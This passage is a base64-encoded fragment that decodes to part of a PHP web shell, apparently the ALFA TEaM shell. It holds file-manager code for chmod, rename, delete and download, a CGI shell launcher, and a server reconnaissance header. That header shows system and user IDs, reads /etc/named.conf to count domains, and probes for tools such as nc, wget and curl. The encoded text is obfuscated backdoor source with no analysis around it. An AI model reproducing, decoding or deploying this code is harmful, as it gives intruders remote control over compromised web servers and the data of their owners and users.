bCIsImluaSIsImRsbCIsImV4ZSIsIm1wMyIsIm1wNCIsIm00YSIsIm1vdiIsImZsdiIsInN3ZiIsIm1rdiIsImF2aSIsIndtdiIsIm1wZyIsIm1wZWciLCJkYXQiLCJwZGYiLCIzZ3AiLCJkb2MiLCJkb2N4IiwiZG9jbSJdLmluZGV4T2YoYSkmJihhPSJub3Rmb3VuZCIpfWVsc2UgYT0iZm9sZGVyIjtyZXR1cm4nPGltZyBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMve3R5cGV9IiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPicucmVwbGFjZSgie3R5cGV9IixhKyIucG5nIil9ZnVuY3Rpb24gdXBkYXRlRmlsZUVkaXRvcihlLGEpe3ZhciB0PSJpZF8iK2UsaT0iaWRfY2htb2RlXyIrZSxsPSJpZF9yZW5hbWVfIitlLG89ImlkX3RvdWNoXyIrZSxyPSJpZF9lZGl0XyIrZSxuPSJpZF9kb3dubG9hZF8iK2UsZD0iaWRfZGVsZXRlXyIrZSxzPSQodCkuZ2V0QXR0cmlidXRlKCJmdHlwZSIpOyJmb2xkZXIiPT1zJiYocz0iZGlyIiksImZpbGUiPT1zPygkKHQpLmlubmVySFRNTD1hLCQodCkuc2V0QXR0cmlidXRlKCJocmVmIiwiI2FjdGlvbj1maWxlbWFuJnBhdGg9IitjXysiLyIrYSksJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKSIpLCQocikuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2VkaXQnLCcnLCcnLCcnLCciK3MrIicpIiksJChuKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc1Rvb2xzJyxudWxsLCciK2ErIicsICdkb3dubG9hZCcpIikpOigkKHQpLmlubmVySFRNTD0iPGI+fCAiK2ErIiB8PC9iPiIsJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc01hbicsICciK2NfKyIvIithKyInKSIpKSwkKGkpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdjaG1vZCcsJycsJycsJycsJyIrcysiJykiKSwkKGwpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdyZW5hbWUnLCcnLCcnLCcnLCciK3MrIicpIiksJChvKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywndG91Y2gnLCcnLCcnLCcnLCciK3MrIicpIiksJChkKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJ2YXIgY2hrID0gY29uZmlybSgnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAiK2ErIiAjID8nKTsgY2hrID8gZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsICciK2ErIicpIDogJyc7IiksJCh0KS5zZXRBdHRyaWJ1dGUoImZuYW1lIixhKX1mdW5jdGlvbiB1cGRhdGVEaXJzRWRpdG9yKGUsYSl7dmFyIHQ9ZC5tZi5jLnZhbHVlKyIvIixpPWVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2ErIi8iLGw9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUrIi8iO2Zvcih2YXIgbyBpbiBpPWkucmVwbGFjZSgvXC9cLy9nLCIvIiksbD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpLC0xIT0odD10LnJlcGxhY2UoL1wvXC8vZywiLyIpKS5zZWFyY2goaSkmJihpbml0RGlyKHQucmVwbGFjZShpLGwpKSxkLm1mLmMudmFsdWU9dC5yZXBsYWNlKGksbCkpLGVkaXRvcl9maWxlcyl7dmFyIHI9ZWRpdG9yX2ZpbGVzW29dLnB3ZCsiLyI7LTEhPShyPXIucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGVkaXRvcl9maWxlc1tvXS5wd2Q9ci5yZXBsYWNlKGksbCkpfXVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIHVwZGF0ZUNvb2tpZUVkaXRvcigpe3NldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIixidG9hKEpTT04uc3RyaW5naWZ5KGVkaXRvcl9maWxlcykpLDIwMTIpfWZ1bmN0aW9uIHNldEVkaXRvclRpdGxlKGUsYSl7aWYoIm91dCI9PWEmJiIiIT1lZGl0b3JfY3VycmVudF9maWxlKXt2YXIgdD1kLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKTtlPW51bGwhPXQ/dC5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpLnJlcGxhY2UoImVkaXRvcl9zb3VyY2VfIiwiZmlsZV8iKTplZGl0b3JfY3VycmVudF9maWxlfWVkaXRvcl9maWxlc1tlXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tlXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSl9ZnVuY3Rpb24gcmVtb3ZlSGlzdG9yeShlKXtkZWxldGUgZWRpdG9yX2ZpbGVzW2VdLCQoZSkmJiQoZSkucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKCQoZSkucGFyZW50Tm9kZSk7dmFyIGE9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF07YSYmYS5nZXRBdHRyaWJ1dGUoImZpZCIpPT1lJiYoYS5vdXRlckhUTUw9IiIpLGVkaXRvcl9jdXJyZW50X2ZpbGU9PWUmJihlZGl0b3JfY3VycmVudF9maWxlPSIiKSx1cGRhdGVDb29raWVFZGl0b3IoKX1mdW5jdGlvbiBnZXRSYW5kb20oZSl7Zm9yKHZhciBhPSIiLHQ9IjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIixpPXZvaWQgMD09PWU/MjA6ZTtpPjA7LS1pKWErPXRbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKnQubGVuZ3RoKV07cmV0dXJuIGF9ZnVuY3Rpb24gcmVvcGVuKGUpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJpZCIpLHQ9ZWRpdG9yX2ZpbGVzW2FdLnB3ZCxpPWVkaXRvcl9maWxlc1thXS5maWxlLGw9ImVkaXRvcl9zb3VyY2VfIithLnJlcGxhY2UoImZpbGVfIiwiIik7bnVsbD09JChsKT9lZGl0b3IoaSwiYXV0byIsIiIsdCxhKTplZGl0b3JUYWJDb250cm9sbGVyKGwsITApfWZ1bmN0aW9uIGNvcHlUb0NsaXBib2FyZChlKXtlPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTt2YXIgYT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3Rpb24udG9KU09OKCk7YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0QWxsKCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uZm9jdXMoKSxkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi5mcm9tSlNPTihhKSxhbGZhU2hvd05vdGlmaWNhdGlvbigidGV4dCBjb3BpZWQiLCJFZGl0b3IiKX1mdW5jdGlvbiBlbmNyeXB0KGUsYSl7aWYobnVsbD09YXx8YS5sZW5ndGg8PTApcmV0dXJuIG51bGw7ZT1hbGZhYjY0KGUsITApLGE9YWxmYWI2NChhLCEwKTtmb3IodmFyIHQ9IiIsaT0iIixsPTA7bDxlLmxlbmd0aDspZm9yKHZhciBvPTA7bzxhLmxlbmd0aCYmKHQ9ZS5jaGFyQ29kZUF0KGwpXmEuY2hhckNvZGVBdChvKSxpKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHQpLCEoKytsPj1lLmxlbmd0aCkpO28rKyk7cmV0dXJuIGFsZmFiNjQoaSwhMCl9ZnVuY3Rpb24gcmVsb2FkU2V0dGluZyhlKXtyZXR1cm4gYWxmYWxvYWRlcihhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQsImJsb2NrIiksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KGUucHJvdGVjdC52YWx1ZSkrIiZhbGZhMj0iK2FsZmFiNjQoZS5sZ3BhZ2UudmFsdWUpKyImYWxmYTM9IithbGZhYjY0KGUudXNlcm5hbWUudmFsdWUpKyImYWxmYTQ9IithbGZhYjY0KGUucGFzc3dvcmQudmFsdWUpKyImYWxmYTU9IithbGZhYjY0KCI+PiIpKyImYWxmYTY9IithbGZhYjY0KGUuaWNvbi52YWx1ZSkrIiZhbGZhNz0iK2FsZmFiNjQoZS5wb3N0X2VuY3J5cHQudmFsdWUpKyImYWxmYTg9IithbGZhYjY0KCJtYWluIikrIiZhbGZhOT0iK2FsZmFiNjQoZS5jZ2lfYXBpLnZhbHVlKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBPcFRpb25zKGEsZSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwwPT1lLmUudmFsdWUmJjE9PWUucHJvdGVjdC52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksZS5zLnZhbHVlIT1lLmljb24udmFsdWUmJnNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxZTMpLCExfWZ1bmN0aW9uIHJlbG9hZENvbG9ycyhlKXt2YXIgYT17fTt2b2lkIDA9PT1lP2QucXVlcnlTZWxlY3RvckFsbCgiLmNvbG9yc19pbnB1dCIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLnJlcGxhY2UoIi4iLCIiKTthW3RdPWUudmFsdWV9KTphPWU7dmFyIHQ9JCgidXNlX2RlZmF1bHRfY29sb3IiKS5jaGVja2VkPyIxIjoiMCI7X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJzZXR0aW5ncyIpKyImYWxmYTE9IithbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKSsiJmFsZmEyPSIrYWxmYWI2NCgiPj4iKSsiJmFsZmEzPSIrYWxmYWI2NCh0KSsiJmFsZmE4PSIrYWxmYWI2NCgiY29sb3IiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7ZXZhbEpTKGUpfSwhMCl9ZnVuY3Rpb24gYWxmYWI2NChlLGEpe3JldHVybiB2b2lkIDAhPT1hfHwwPT1wb3N0X2VuY3J5cHRpb25fbW9kZT93aW5kb3cuYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoZSkpKTplbmNyeXB0KGUsIjw/cGhwIGVjaG8gX19BTEZBX1NFQ1JFVF9LRVlfXzsgPz4iKX1mdW5jdGlvbiBldmFsQ3NzKGUpe3ZhciBhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7YS5zdHlsZVNoZWV0P2Euc3R5bGVTaGVldC5jc3NUZXh0PWU6YS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKGEpfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcktleShlKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKGEpe2NvbG9ySGFuZGxlcihlKX0sMjAwKX1mdW5jdGlvbiBjb2xvckhhbmRsZXIoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLHQ9ZS5nZXRBdHRyaWJ1dGUoIm11bHRpIiksbD1hLmluZGV4T2YoIjpob3ZlciIpO2lmKHQpe3ZhciBvPUpTT04ucGFyc2UoYXRvYih0KSkscj0iIjtmb3IoaSBpbiBvLm11bHRpX3NlbGVjdG9yKXIrPWkrInsiK28ubXVsdGlfc2VsZWN0b3JbaV0ucmVwbGFjZSgve2NvbG9yfS9nLGUudmFsdWUpKyJ9IjtldmFsQ3NzKHIpfS0xPT1sfHx0PygkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCIuaGVhZGVyX3ZhbHVlcyI9PWEmJihhPSIuaGVhZGVyLC5oZWFkZXJfdmFsdWVzIiksZC5xdWVyeVNlbGVjdG9yQWxsKGEpLmZvckVhY2goZnVuY3Rpb24oYSl7YS5zdHlsZS5jb2xvcj1lLnZhbHVlfSkpOigkKCJpbnB1dF8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLCQoImd1aV8iK2EucmVwbGFjZSgiLiIsIiIpKS52YWx1ZT1lLnZhbHVlLGV2YWxDc3MoYSsie2NvbG9yOiAiK2UudmFsdWUrIjt9IikpfWZ1bmN0aW9uIGltcG9ydENvbmZpZyhlKXt2YXIgYT1lLnRhcmdldCx0PW5ldyBGaWxlUmVhZGVyO3Qub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGU9dC5yZXN1bHQ7dHJ5e3JlbG9hZENvbG9ycyhKU09OLnBhcnNlKGUpKX1jYXRjaChlKXthbGVydCgiQ29uZmlnIGlzIGludmFsaWQuLi4hIil9JCgiaW1wb3J0RmlsZUJ0biIpLnZhbHVlPSIifSx0LnJlYWRBc1RleHQoYS5maWxlc1swXSl9ZnVuY3Rpb24gY2hlY2tCb3goZSl7dmFyIGE9YWxmYV9jdXJyZW50X2ZtX2lkLHQ9ZS5jaGVja2VkO2QucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiBmb3JtW25hbWU9ZmlsZXNdIGlucHV0W3R5cGU9Y2hlY2tib3hdIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQ9dH0pfWZ1bmN0aW9uIHJ1bmNnaShlKXtpZigkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0idW5zZXQiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlciAub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGNnaV9pc19taW5pbWl6ZWQmJmNnaV9sYW5nPT1lJiYoc2hvd0VkaXRvcigiY2dpbG9hZGVyIiksMD09cGhwX3RlbXJpbmFsX3VzaW5nX2NnaSkpcmV0dXJuITE7cGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNnaXNoZWxsIikrIiZhbGZhMT0iK2FsZmFiNjQoZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGEpe2QuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIiwkKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5uZXJIVE1MPWEsY2dpX2xhbmc9ZSxjZ2lfaXNfbWluaW1pemVkJiYoJCgiY2dpbG9hZGVyLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtaGlkZSIpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXskKCJjZ2lsb2FkZXIiKS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksaXNfbWluaW1pemVkJiYoJCgiZWRpdG9yLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIil9LDFlMykpfSl9RWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQWZ0ZXI9ZnVuY3Rpb24oZSl7ZS5wYXJlbnROb2RlLmluc2VydEJlZm9yZSh0aGlzLGUubmV4dFNpYmxpbmcpfTsKPC9zY3JpcHQ+Cjw/cGhwIGVjaG8iPGZvcm0gc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdkbEZvcm0nIGFjdGlvbj0nJyB0YXJnZXQ9J19ibGFuaycgbWV0aG9kPSdwb3N0Jz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2RsZmlsZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPScnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmaWxlJyB2YWx1ZT0nJz4KPC9mb3JtPgo8aW5wdXQgdHlwZT0nZmlsZScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdpbXBvcnRGaWxlQnRuJyBvbmNoYW5nZT0naW1wb3J0Q29uZmlnKGV2ZW50KTsnPgo8ZGl2IGlkPSdhX2xvYWRlcic+PGltZyBzcmM9JyIuX19zaG93aWNvbignbG9hZGVyJykuIic+PC9kaXY+IjsKJGNtZF91bmFtZSA9IGFsZmFFeCgidW5hbWUgLWEiLGZhbHNlLGZhbHNlKTsKJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7CmlmKCR1bmFtZT09IiggcGhwX3VuYW1lICkgRnVuY3Rpb24gRGlzYWJsZWQgISIpeyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fQplY2hvICcKPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiBsZWZ0bWFyZ2luPSIwIiB0b3BtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8ZGl2IGlkPSJ1cF9iYXJfaG9sZGVyIj48L2Rpdj4KPGRpdiBjbGFzcz0id2hvbGUiPgo8Zm9ybSBtZXRob2Q9InBvc3QiIG5hbWU9Im1mIiBzdHlsZT0iZGlzcGxheTpub25lOyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+JzsKZm9yKCRzPTE7JHM8PTEwOyRzKyspewplY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhbGZhJy4kcy4nIj4nOwp9CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiPgo8L2Zvcm0+CjxkaXYgaWQ9XCdoaWRkZW5fc2hcJz48YSBjbGFzcz0iYWxlcnRfZ3JlZW4iIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/c29sZXZpc2libGUiPjxzcGFuIHN0eWxlPSJjb2xvcjojNDJmZjU5OyI+Jy5fX0FMRkFfQ09ERV9OQU1FX18uJzwvc3Bhbj48YnI+PHNtYWxsPlZlcnNpb246IDxzcGFuIGNsYXNzPSJoaWRkZW5fc2hlbGxfdmVyc2lvbiI+Jy5fX0FMRkFfVkVSU0lPTl9fLic8L3NwYW4+PC9zbWFsbD48L2E+PC9kaXY+CjxkaXYgY2xhc3M9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VW5hbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91bmFtZSI+Jy4kdW5hbWUuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZXI6PC9zcGFuPjwvdGQ+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VyaWQiPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBHcm91cDogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2dyb3VwaWQiPicgLiAkZ2lkIC4gJyBbICcgLiAkZ3JvdXAgLiAnIF08L3NwYW4+IDwvdGQ+Cjx0ZCB3aWR0aD0iMTIlIiByb3dzcGFuPSI4Ij48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIxNzAiIGFsdD0iYWxmYSB0ZWFtIDIwMTIiIGRyYWdnYWJsZT0iZmFsc2UiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBIUDo8L3NwYW4+PC90ZD4KPHRkPjxiPicuQHBocHZlcnNpb24oKS4gJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZSBNb2RlOiAnLiRzYWZlX21vZGVzLic8L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TZXJ2ZXJJUDo8L3NwYW4+PC90ZD4KPHRkPjxiPicuKCFAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0/KGZ1bmN0aW9uX2V4aXN0cygiZ2V0aG9zdGJ5bmFtZSIpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTonPz8/PycpOkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSkuJzwvYj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZTtkaXNwbGF5Om5vbmU7IiBjbGFzcz0iZmxhZy1ob2xkZXIiPjwvZGl2PiA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPllvdXIgSVA6PC9zcGFuPjxiPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+PC90ZD4KPC90cj4KPHRyPgo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRhdGVUaW1lOjwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5kYXRlKCdZLW0tZCBIOmk6cycpLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb21haW5zOjwvc3Bhbj48L3RkPgo8dGQgd2lkdGg9Ijc2JSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG9tYWlucyI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokZDBtYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIsZmFsc2UpOwppZighJGQwbWFpbnMpe2VjaG8gIkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdIjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl09InRydWUiO31lbHNlewokY291bnQ9MDsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoQHN0cnN0cigkZDBtYWluLCJ6b25lIikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewpmbHVzaCgpOwokY291bnQrKzt9fX0KZWNobyAiJGNvdW50IERvbWFpbnMiO319CmVsc2V7ZWNobygiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iKTt9CmVjaG8gJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2Ij48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkhERDo8L3NwYW4+PC90ZD4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VG90YWw6PC9zcGFuPjxiPicuYWxmYVNpemUoJHRvdGFsU3BhY2UpLicgPC9iPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RnJlZTo8L3NwYW4+PGI+JyAuIGFsZmFTaXplKCRmcmVlU3BhY2UpIC4gJyBbJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclXTwvYj48L3RkPgo8L3RyPic7CmlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsKJHVzZWZ1bF9kb3dubG9hZGVyID0gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj51c2VmdWw6PC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VzZWZ1bCI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2Rvd25sb2FkZXIiPi0tLS0tLS0tLS0tLS0tPC9zcGFuPjwvdGQ+PC90cj4nOwppZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKXsKaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLGZhbHNlKSk+MCl7CmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VmdWwgOiA8L3NwYW4+JzsKJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppYWxmYTInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiR4PTA7CmZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0paWYoYWxmYVdoaWNoKCRpdGVtKSl7JHgrKztlY2hvICc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nLiRpdGVtLic8L3NwYW4+Jzt9CmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl91c2VmdWwnPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj4nOwokZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKJHg9MDsKZm9yZWFjaCgkZG93bmxvYWRlcnMgYXMgJGl0ZW0yKWlmKGFsZmFXaGljaCgkaXRlbTIpKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0yLic8L3NwYW4+Jzt9CmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzc